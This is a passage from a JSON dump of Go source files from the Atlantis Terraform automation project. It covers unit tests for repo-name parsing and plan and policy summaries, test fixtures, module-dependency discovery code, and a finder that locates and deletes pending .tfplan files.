string\n\t}{\n\t\t{\n\t\t\t\"owner/repo\",\n\t\t\t\"owner\",\n\t\t\t\"repo\",\n\t\t},\n\t\t{\n\t\t\t\"group/subgroup/owner/repo\",\n\t\t\t\"group/subgroup/owner\",\n\t\t\t\"repo\",\n\t\t},\n\t\t{\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"/\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"owner/\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"/repo\",\n\t\t\t\"\",\n\t\t\t\"repo\",\n\t\t},\n\t\t{\n\t\t\t\"group/subgroup/\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.input, func(t *testing.T) {\n\t\t\towner, repo := models.SplitRepoFullName(c.input)\n\t\t\tEquals(t, c.expOwner, owner)\n\t\t\tEquals(t, c.expRepo, repo)\n\t\t})\n\t}\n}\n\n// These test cases should cover the same behavior as TestSplitRepoFullName\n// and only produce different output in the AzureDevops case of\n// owner/project/repo.\nfunc TestAzureDevopsSplitRepoFullName(t *testing.T) {\n\tcases := []struct {\n\t\tinput      string\n\t\texpOwner   string\n\t\texpRepo    string\n\t\texpProject string\n\t}{\n\t\t{\n\t\t\t\"owner/repo\",\n\t\t\t\"owner\",\n\t\t\t\"repo\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"group/subgroup/owner/repo\",\n\t\t\t\"group/subgroup/owner\",\n\t\t\t\"repo\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"group/subgroup/owner/project/repo\",\n\t\t\t\"group/subgroup/owner/project\",\n\t\t\t\"repo\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"/\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"owner/\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"/repo\",\n\t\t\t\"\",\n\t\t\t\"repo\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"group/subgroup/\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"owner/project/repo\",\n\t\t\t\"owner\",\n\t\t\t\"repo\",\n\t\t\t\"project\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.input, func(t *testing.T) {\n\t\t\towner, project, repo := azuredevops.SplitAzureDevopsRepoFullName(c.input)\n\t\t\tEquals(t, c.expOwner, owner)\n\t\t\tEquals(t, c.expProject, project)\n\t\t\tEquals(t, c.expRepo, repo)\n\t\t})\n\t}\n}\n\nfunc TestPlanSuccess_Summary(t *testing.T) {\n\tcases := []struct {\n\t\tinput string\n\t\texp   string\n\t}{\n\t\t{\n\t\t\t\"Note: Objects have changed outside of Terraform\\ndummy\\nPlan: 0 to add, 1 to change, 2 to destroy.\",\n\t\t\t\"\\n**Note: Objects have changed outside of Terraform**\\nPlan: 0 to add, 1 to change, 2 to destroy.\",\n\t\t},\n\t\t{\n\t\t\t\"dummy\\nPlan: 100 to add, 111 to change, 222 to destroy.\",\n\t\t\t\"Plan: 100 to add, 111 to change, 222 to destroy.\",\n\t\t},\n\t\t{\n\t\t\t\"dummy\\nPlan: 42 to import, 53 to add, 64 to change, 75 to destroy.\",\n\t\t\t\"Plan: 42 to import, 53 to add, 64 to change, 75 to destroy.\",\n\t\t},\n\t\t{\n\t\t\t\"Note: Objects have changed outside of Terraform\\ndummy\\nNo changes. Infrastructure is up-to-date.\",\n\t\t\t\"\\n**Note: Objects have changed outside of Terraform**\\nNo changes. Infrastructure is up-to-date.\",\n\t\t},\n\t\t{\n\t\t\t\"dummy\\nNo changes. Your infrastructure matches the configuration.\",\n\t\t\t\"No changes. Your infrastructure matches the configuration.\",\n\t\t},\n\t}\n\tfor i, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"summary %d\", i), func(t *testing.T) {\n\t\t\tpcs := models.PlanSuccess{\n\t\t\t\tTerraformOutput: c.input,\n\t\t\t}\n\t\t\tEquals(t, c.exp, pcs.Summary())\n\t\t})\n\t}\n}\n\nfunc TestPlanSuccess_DiffSummary(t *testing.T) {\n\tcases := []struct {\n\t\tinput string\n\t\texp   string\n\t}{\n\t\t{\n\t\t\t\"Note: Objects have changed outside of Terraform\\ndummy\\nPlan: 0 to add, 1 to change, 2 to destroy.\",\n\t\t\t\"Plan: 0 to add, 1 to change, 2 to destroy.\",\n\t\t},\n\t\t{\n\t\t\t\"dummy\\nPlan: 100 to add, 111 to change, 222 to destroy.\",\n\t\t\t\"Plan: 100 to add, 111 to change, 222 to destroy.\",\n\t\t},\n\t\t{\n\t\t\t\"Note: Objects have changed outside of Terraform\\ndummy\\nNo changes. Infrastructure is up-to-date.\",\n\t\t\t\"No changes. Infrastructure is up-to-date.\",\n\t\t},\n\t\t{\n\t\t\t\"dummy\\nNo changes. Your infrastructure matches the configuration.\",\n\t\t\t\"No changes. Your infrastructure matches the configuration.\",\n\t\t},\n\t}\n\tfor i, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"summary %d\", i), func(t *testing.T) {\n\t\t\tpcs := models.PlanSuccess{\n\t\t\t\tTerraformOutput: c.input,\n\t\t\t}\n\t\t\tEquals(t, c.exp, pcs.DiffSummary())\n\t\t})\n\t}\n}\n\nfunc TestPolicyCheckResults_Summary(t *testing.T) {\n\tcases := []struct {\n\t\tdescription      string\n\t\tpolicysetResults []models.PolicySetResult\n\t\texp              string\n\t}{\n\t\t{\n\t\t\tdescription: \"test single format with single policy set\",\n\t\t\tpolicysetResults: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPolicyOutput:  \"20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: \"policy set: policy1: 20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"test multiple formats with multiple policy sets\",\n\t\t\tpolicysetResults: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPolicyOutput:  \"20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tPolicyOutput:  \"3 tests, 0 passed, 1 warning, 1 failure, 0 exceptions, 1 skipped\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy3\",\n\t\t\t\t\tPolicyOutput:  \"1 test, 0 passed, 1 warning, 1 failure, 1 exception\",\n\t\t\t\t},\n\t\t\t},\n\t\t\texp: `policy set: policy1: 20 tests, 19 passed, 2 warnings, 0 failures, 0 exceptions\npolicy set: policy2: 3 tests, 0 passed, 1 warning, 1 failure, 0 exceptions, 1 skipped\npolicy set: policy3: 1 test, 0 passed, 1 warning, 1 failure, 1 exception`,\n\t\t},\n\t}\n\tfor _, summary := range cases {\n\t\tt.Run(summary.description, func(t *testing.T) {\n\t\t\tpcs := models.PolicyCheckResults{\n\t\t\t\tPolicySetResults: summary.policysetResults,\n\t\t\t}\n\t\t\tEquals(t, summary.exp, pcs.Summary())\n\t\t})\n\t}\n}\n\n// Test PolicyCleared and PolicySummary\nfunc TestPolicyCheckResults_PolicyFuncs(t *testing.T) {\n\tcases := []struct {\n\t\tdescription      string\n\t\tpolicysetResults []models.PolicySetResult\n\t\tpolicyClearedExp bool\n\t\tpolicySummaryExp string\n\t}{\n\t\t{\n\t\t\tdescription: \"single policy set, not passed\",\n\t\t\tpolicysetResults: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: false,\n\t\t\tpolicySummaryExp: \"policy set: policy1: requires: 1 approval(s), have: 0.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"single policy set, passed\",\n\t\t\tpolicysetResults: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        true,\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: true,\n\t\t\tpolicySummaryExp: \"policy set: policy1: passed.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"single policy set, fully approved\",\n\t\t\tpolicysetResults: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: true,\n\t\t\tpolicySummaryExp: \"policy set: policy1: approved.\",\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple policy sets, different states.\",\n\t\t\tpolicysetResults: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy3\",\n\t\t\t\t\tPassed:        true,\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: false,\n\t\t\tpolicySummaryExp: `policy set: policy1: requires: 2 approval(s), have: 0.\npolicy set: policy2: approved.\npolicy set: policy3: passed.`,\n\t\t},\n\t\t{\n\t\t\tdescription: \"multiple policy sets, all cleared.\",\n\t\t\tpolicysetResults: []models.PolicySetResult{\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy1\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tReqApprovals:  2,\n\t\t\t\t\tCurApprovals:  2,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy2\",\n\t\t\t\t\tPassed:        false,\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  1,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tPolicySetName: \"policy3\",\n\t\t\t\t\tPassed:        true,\n\t\t\t\t\tReqApprovals:  1,\n\t\t\t\t\tCurApprovals:  0,\n\t\t\t\t},\n\t\t\t},\n\t\t\tpolicyClearedExp: true,\n\t\t\tpolicySummaryExp: `policy set: policy1: approved.\npolicy set: policy2: approved.\npolicy set: policy3: passed.`,\n\t\t},\n\t}\n\tfor _, summary := range cases {\n\t\tt.Run(summary.description, func(t *testing.T) {\n\t\t\tpcs := models.PolicyCheckResults{\n\t\t\t\tPolicySetResults: summary.policysetResults,\n\t\t\t}\n\t\t\tEquals(t, summary.policyClearedExp, pcs.PolicyCleared())\n\t\t\tEquals(t, summary.policySummaryExp, pcs.PolicySummary())\n\t\t})\n\t}\n}\n\nfunc TestPullStatus_StatusCount(t *testing.T) {\n\tps := models.PullStatus{\n\t\tProjects: []models.ProjectStatus{\n\t\t\t{\n\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus: models.PlannedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus: models.AppliedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus: models.ErroredApplyStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus: models.DiscardedPlanStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus: models.ErroredPolicyCheckStatus,\n\t\t\t},\n\t\t\t{\n\t\t\t\tStatus: models.PassedPolicyCheckStatus,\n\t\t\t},\n\t\t},\n\t}\n\n\tEquals(t, 2, ps.StatusCount(models.PlannedPlanStatus))\n\tEquals(t, 1, ps.StatusCount(models.AppliedPlanStatus))\n\tEquals(t, 1, ps.StatusCount(models.ErroredApplyStatus))\n\tEquals(t, 0, ps.StatusCount(models.ErroredPlanStatus))\n\tEquals(t, 1, ps.StatusCount(models.DiscardedPlanStatus))\n\tEquals(t, 1, ps.StatusCount(models.ErroredPolicyCheckStatus))\n\tEquals(t, 1, ps.StatusCount(models.PassedPolicyCheckStatus))\n}\n\nfunc TestPlanSuccessStats(t *testing.T) {\n\ttests := []struct {\n\t\tname   string\n\t\toutput string\n\t\texp    models.PlanSuccessStats\n\t}{\n\t\t{\n\t\t\t\"has changes\",\n\t\t\t`An execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\t\t\t\t\t  - destroy\n\t\t\t\t\tTerraform will perform the following actions:\n\t\t\t\t\t  - null_resource.hi[1]\n\t\t\t\t\tPlan: 1 to add, 3 to change, 2 to destroy.`,\n\t\t\tmodels.PlanSuccessStats{\n\t\t\t\tChanges: true,\n\n\t\t\t\tAdd:     1,\n\t\t\t\tChange:  3,\n\t\t\t\tDestroy: 2,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"no changes\",\n\t\t\t`An execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\t\t\t\t\tNo changes. Infrastructure is up-to-date.`,\n\t\t\tmodels.PlanSuccessStats{},\n\t\t},\n\t\t{\n\t\t\t\"changes outside\",\n\t\t\t`Note: Objects have changed outside of Terraform\n\t\t\t\t\tTerraform detected the following changes made outside of Terraform since the\n\t\t\t\t\tlast \"terraform apply\":\n\t\t\t\t\tNo changes. Your infrastructure matches the configuration.`,\n\t\t\tmodels.PlanSuccessStats{\n\t\t\t\tChangesOutside: true,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"with imports\",\n\t\t\t`Terraform used the selected providers to generate the following execution\n\t\t\tplan. Resource actions are indicated with the following symbols:\t\n\t\t\t  + create\n\t\t\t  ~ update in-place\n\t\t\t  - destroy\n\t\t\tTerraform will perform the following actions:\n\t\t\t  - null_resource.hi[1]\n\t\t\tPlan: 42 to import, 31 to add, 20 to change, 1 to destroy.`,\n\t\t\tmodels.PlanSuccessStats{\n\t\t\t\tChanges: true,\n\n\t\t\t\tImport:  42,\n\t\t\t\tAdd:     31,\n\t\t\t\tChange:  20,\n\t\t\t\tDestroy: 1,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"changes and changes outside\",\n\t\t\t`Note: Objects have changed outside of Terraform\n\t\t\t\t\tTerraform detected the following changes made outside of Terraform since the\n\t\t\t\t\tlast \"terraform apply\":\n\t\t\t\t\tAn execution plan has been generated and is shown below.\n\t\t\t\t\tResource actions are indicated with the following symbols:\n\t\t\t\t\t  - destroy\n\t\t\t\t\tTerraform will perform the following actions:\n\t\t\t\t\t  - null_resource.hi[1]\n\t\t\t\t\tPlan: 3 to add, 0 to change, 1 to destroy.`,\n\t\t\tmodels.PlanSuccessStats{\n\t\t\t\tChanges:        true,\n\t\t\t\tChangesOutside: true,\n\n\t\t\t\tAdd:     3,\n\t\t\t\tChange:  0,\n\t\t\t\tDestroy: 1,\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\ts := models.NewPlanSuccessStats(tt.output)\n\t\t\tif s != tt.exp {\n\t\t\t\tt.Errorf(\"\\nexp: %#v\\ngot: %#v\", tt.exp, s)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/models/testdata/fixtures.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage testdata\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/core/config/valid\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\nvar Pull = models.PullRequest{\n\tNum:        1,\n\tHeadCommit: \"16ca62f65c18ff456c6ef4cacc8d4826e264bb17\",\n\tHeadBranch: \"branch\",\n\tAuthor:     \"lkysow\",\n\tURL:        \"url\",\n}\n\nvar GithubRepo = models.Repo{\n\tCloneURL:          \"https://user:password@github.com/runatlantis/atlantis.git\",\n\tFullName:          \"runatlantis/atlantis\",\n\tOwner:             \"runatlantis\",\n\tSanitizedCloneURL: \"https://github.com/runatlantis/atlantis.git\",\n\tName:              \"atlantis\",\n\tVCSHost: models.VCSHost{\n\t\tHostname: \"github.com\",\n\t\tType:     models.Github,\n\t},\n}\n\nvar GitlabRepo = models.Repo{\n\tCloneURL:          \"https://user:password@github.com/runatlantis/atlantis.git\",\n\tFullName:          \"runatlantis/atlantis\",\n\tOwner:             \"runatlantis\",\n\tSanitizedCloneURL: \"https://gitlab.com/runatlantis/atlantis.git\",\n\tName:              \"atlantis\",\n\tVCSHost: models.VCSHost{\n\t\tHostname: \"gitlab.com\",\n\t\tType:     models.Gitlab,\n\t},\n}\n\nvar User = models.User{\n\tUsername: \"lkysow\",\n}\n\nvar projectName = \"test-project\"\n\nvar Project = valid.Project{\n\tName: &projectName,\n}\n\nvar PullInfo = fmt.Sprintf(\"%s/%d/%s\", GithubRepo.FullName, Pull.Num, *Project.Name)\n"
  },
  {
    "path": "server/events/modules.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/hashicorp/terraform-config-inspect/tfconfig\"\n\t\"github.com/moby/patternmatcher\"\n)\n\ntype module struct {\n\t// path to the module\n\tpath string\n\t// dependencies of this module\n\tdependencies map[string]bool\n\t// projects that depend on this module\n\tprojects map[string]bool\n}\n\nfunc (m *module) String() string {\n\tif m == nil {\n\t\treturn \"nil\"\n\t}\n\treturn fmt.Sprintf(\"%+v\", *m)\n}\n\ntype ModuleProjects interface {\n\t// DependentProjects returns all projects that depend on the module at moduleDir\n\tDependentProjects(moduleDir string) []string\n}\n\ntype moduleInfo map[string]*module\n\nvar _ ModuleProjects = moduleInfo{}\n\nfunc (m moduleInfo) String() string {\n\treturn fmt.Sprintf(\"%+v\", map[string]*module(m))\n}\n\nfunc (m moduleInfo) DependentProjects(moduleDir string) (projectPaths []string) {\n\tif m == nil || m[moduleDir] == nil {\n\t\treturn nil\n\t}\n\tfor project := range m[moduleDir].projects {\n\t\tprojectPaths = append(projectPaths, project)\n\t}\n\treturn projectPaths\n}\n\ntype tfFs struct {\n\tfs.FS\n}\n\nfunc (t tfFs) Open(name string) (tfconfig.File, error) {\n\treturn t.FS.Open(name)\n}\n\nfunc (t tfFs) ReadFile(name string) ([]byte, error) {\n\treturn fs.ReadFile(t.FS, name)\n}\n\nfunc (t tfFs) ReadDir(dirname string) ([]os.FileInfo, error) {\n\tls, err := fs.ReadDir(t.FS, dirname)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tvar infos []os.FileInfo\n\tfor _, l := range ls {\n\t\tinfo, err := l.Info()\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to get info for %s: %w\", l.Name(), err)\n\t\t}\n\t\tinfos = append(infos, info)\n\t}\n\treturn infos, err\n}\n\nvar _ tfconfig.FS = tfFs{}\n\nfunc (m moduleInfo) load(files fs.FS, dir string, projects ...string) (_ *module, diags tfconfig.Diagnostics) {\n\tif _, set := m[dir]; !set {\n\t\ttfFiles := tfFs{files}\n\t\tvar mod *tfconfig.Module\n\t\tmod, diags = tfconfig.LoadModuleFromFilesystem(tfFiles, dir)\n\n\t\tdeps := make(map[string]bool)\n\t\tif mod != nil {\n\t\t\tfor _, c := range mod.ModuleCalls {\n\t\t\t\tmPath := path.Join(dir, c.Source)\n\t\t\t\tif !tfconfig.IsModuleDirOnFilesystem(tfFiles, mPath) {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tdeps[mPath] = true\n\t\t\t}\n\t\t}\n\n\t\tm[dir] = &module{\n\t\t\tpath:         dir,\n\t\t\tdependencies: deps,\n\t\t\tprojects:     make(map[string]bool),\n\t\t}\n\t}\n\t// set projects on my dependencies\n\tfor dep := range m[dir].dependencies {\n\t\t_, err := m.load(files, dep, projects...)\n\t\tif err != nil {\n\t\t\tdiags = append(diags, err...)\n\t\t}\n\t}\n\t// add projects to the list of dependant projects\n\tfor _, p := range projects {\n\t\tm[dir].projects[p] = true\n\t}\n\treturn m[dir], diags\n}\n\n// FindModuleProjects returns a mapping of modules to projects that depend on them.\nfunc FindModuleProjects(absRepoDir string, autoplanModuleDependants string) (ModuleProjects, error) {\n\treturn findModuleDependants(os.DirFS(absRepoDir), autoplanModuleDependants)\n}\n\nfunc findModuleDependants(files fs.FS, autoplanModuleDependants string) (ModuleProjects, error) {\n\tif autoplanModuleDependants == \"\" {\n\t\treturn moduleInfo{}, nil\n\t}\n\t// find all the projects matching autoplanModuleDependants\n\tfilter, _ := patternmatcher.New(strings.Split(autoplanModuleDependants, \",\"))\n\tvar projects []string\n\terr := fs.WalkDir(files, \".\", func(rel string, info fs.DirEntry, err error) error {\n\t\tif match, _ := filter.MatchesOrParentMatches(rel); match {\n\t\t\tif projectDir := getProjectDirFromFs(files, rel); projectDir != \"\" {\n\t\t\t\tprojects = append(projects, projectDir)\n\t\t\t}\n\t\t}\n\t\treturn err\n\t})\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"find projects for module dependants: %w\", err)\n\t}\n\n\tresult := make(moduleInfo)\n\tvar diags tfconfig.Diagnostics\n\t// for each project, find the modules it depends on, their deps, etc.\n\tfor _, projectDir := range projects {\n\t\tif _, err := result.load(files, projectDir, projectDir); err != nil {\n\t\t\tdiags = append(diags, err...)\n\t\t}\n\t}\n\t// if there are any errors, prefer one with a source location\n\tif diags.HasErrors() {\n\t\tfor _, d := range diags {\n\t\t\tif d.Pos != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"%s:%d - %s: %s\", d.Pos.Filename, d.Pos.Line, d.Summary, d.Detail)\n\t\t\t}\n\t\t}\n\t}\n\treturn result, diags.Err()\n}\n"
  },
  {
    "path": "server/events/modules_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"embed\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"sort\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\n//go:embed testdata/fs\nvar repos embed.FS\n\nfunc Test_findModuleDependants(t *testing.T) {\n\n\ttype args struct {\n\t\tfiles                    fs.FS\n\t\tautoplanModuleDependants string\n\t}\n\ta, err := fs.Sub(repos, \"testdata/fs/repoA\")\n\trequire.NoError(t, err)\n\tb, err := fs.Sub(repos, \"testdata/fs/repoB\")\n\trequire.NoError(t, err)\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    map[string][]string\n\t\twantErr assert.ErrorAssertionFunc\n\t}{\n\t\t{\n\t\t\tname: \"repoA\",\n\t\t\targs: args{\n\t\t\t\tfiles:                    a,\n\t\t\t\tautoplanModuleDependants: \"**/init.tf\",\n\t\t\t},\n\t\t\twant: map[string][]string{\n\t\t\t\t\"modules/bar\": {\"baz\", \"qux/quxx\"},\n\t\t\t\t\"modules/foo\": {\"qux/quxx\"},\n\t\t\t},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t\t{\n\t\t\tname: \"repoB\",\n\t\t\targs: args{\n\t\t\t\tfiles:                    b,\n\t\t\t\tautoplanModuleDependants: \"**/init.tf\",\n\t\t\t},\n\t\t\twant: map[string][]string{\n\t\t\t\t\"modules/bar\": {\"dev/quxx\", \"prod/quxx\"},\n\t\t\t\t\"modules/foo\": {\"dev/quxx\", \"prod/quxx\"},\n\t\t\t},\n\t\t\twantErr: assert.NoError,\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := findModuleDependants(tt.args.files, tt.args.autoplanModuleDependants)\n\t\t\tif !tt.wantErr(t, err, fmt.Sprintf(\"findModuleDependants(%v, %v)\", tt.args.files, tt.args.autoplanModuleDependants)) {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfor k, v := range tt.want {\n\t\t\t\tprojects := got.DependentProjects(k)\n\t\t\t\tsort.Strings(projects)\n\t\t\t\tassert.Equalf(t, v, projects, \"%v.DownstreamProjects(%v)\", got, k)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/pending_plan_finder.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"os/exec\"\n\t\"path/filepath\"\n\t\"strings\"\n\n\t\"github.com/runatlantis/atlantis/server/core/runtime\"\n\t\"github.com/runatlantis/atlantis/server/utils\"\n)\n\n//go:generate pegomock generate --package mocks -o mocks/mock_pending_plan_finder.go PendingPlanFinder\n\ntype PendingPlanFinder interface {\n\tFind(pullDir string) ([]PendingPlan, error)\n\tDeletePlans(pullDir string) error\n}\n\n// DefaultPendingPlanFinder finds unapplied plans.\ntype DefaultPendingPlanFinder struct{}\n\n// PendingPlan is a plan that has not been applied.\ntype PendingPlan struct {\n\t// RepoDir is the absolute path to the root of the repo that holds this\n\t// plan.\n\tRepoDir string\n\t// RepoRelDir is the relative path from the repo to the project that\n\t// the plan is for.\n\tRepoRelDir string\n\t// Workspace is the workspace this plan should execute in.\n\tWorkspace   string\n\tProjectName string\n}\n\n// Find finds all pending plans in pullDir. pullDir should be the working\n// directory where Atlantis will operate on this pull request. It's one level\n// up from where Atlantis clones the repo for each workspace.\nfunc (p *DefaultPendingPlanFinder) Find(pullDir string) ([]PendingPlan, error) {\n\tplans, _, err := p.findWithAbsPaths(pullDir)\n\treturn plans, err\n}\n\nfunc (p *DefaultPendingPlanFinder) findWithAbsPaths(pullDir string) ([]PendingPlan, []string, error) {\n\tworkspaceDirs, err := os.ReadDir(pullDir)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tvar plans []PendingPlan\n\tvar absPaths []string\n\tfor _, workspaceDir := range workspaceDirs {\n\t\tworkspace := workspaceDir.Name()\n\t\trepoDir := filepath.Join(pullDir, workspace)\n\n\t\t// Any generated plans should be untracked by git since Atlantis created\n\t\t// them.\n\t\tlsCmd := exec.Command(\"git\", \"ls-files\", \".\", \"--others\") // nolint: gosec\n\t\tlsCmd.Dir = repoDir\n\t\tlsOut, err := lsCmd.CombinedOutput()\n\t\tif err != nil {\n\t\t\treturn nil, nil, fmt.Errorf(\"running 'git ls-files . --others' in '%s' directory: %s: %w\", repoDir, string(lsOut), err)\n\t\t}\n\t\tfor file := range strings.SplitSeq(string(lsOut), \"\\n\") {\n\t\t\tif filepath.Ext(file) == \".tfplan\" {\n\t\t\t\t// Ignore .terragrunt-cache dirs (#487)\n\t\t\t\tif strings.Contains(file, \".terragrunt-cache/\") {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\tprojectName, err := runtime.ProjectNameFromPlanfile(workspace, filepath.Base(file))\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, nil, err\n\t\t\t\t}\n\t\t\t\tplans = append(plans, PendingPlan{\n\t\t\t\t\tRepoDir:     repoDir,\n\t\t\t\t\tRepoRelDir:  filepath.Dir(file),\n\t\t\t\t\tWorkspace:   workspace,\n\t\t\t\t\tProjectName: projectName,\n\t\t\t\t})\n\t\t\t\tabsPaths = append(absPaths, filepath.Join(repoDir, file))\n\t\t\t}\n\t\t}\n\t}\n\treturn plans, absPaths, nil\n}\n\n// deletePlans deletes all plans in pullDir.\nfunc (p *DefaultPendingPlanFinder) DeletePlans(pullDir string) error {\n\t_, absPaths, err := p.findWithAbsPaths(pullDir)\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor _, path := range absPaths {\n\t\tif err := utils.RemoveIgnoreNonExistent(path); err != nil {\n\t\t\treturn fmt.Errorf(\"delete plan at %s: %w\", path, err)\n\t\t}\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "server/events/pending_plan_finder_test.go",
